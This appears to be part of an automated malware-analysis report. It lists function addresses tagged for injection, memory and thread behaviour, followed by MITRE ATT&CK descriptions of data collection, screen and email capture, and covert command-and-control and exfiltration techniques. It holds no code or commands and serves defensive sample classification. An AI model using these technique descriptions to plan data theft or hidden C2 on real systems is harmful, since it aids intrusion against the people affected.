Function 0026C190 Relevance: 1.6, APIs: 1, Instructions: 122
injectionCOMMON

Function 0026C198 Relevance: 1.6, APIs: 1, Instructions: 118
injectionCOMMON

Function 0026C2F1 Relevance: 1.6, APIs: 1, Instructions: 110
COMMON

Function 0026C2F8 Relevance: 1.6, APIs: 1, Instructions: 108
COMMON

Function 0026C068 Relevance: 1.6, APIs: 1, Instructions: 105
memoryCOMMON

Function 0026C070 Relevance: 1.6, APIs: 1, Instructions: 103
memoryCOMMON

Function 0026BF39 Relevance: 1.6, APIs: 1, Instructions: 98
threadCOMMON

Function 0026BF40 Relevance: 1.6, APIs: 1, Instructions: 96
threadCOMMON

Function 0026BE48 Relevance: 1.6, APIs: 1, Instructions: 77
threadCOMMON

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre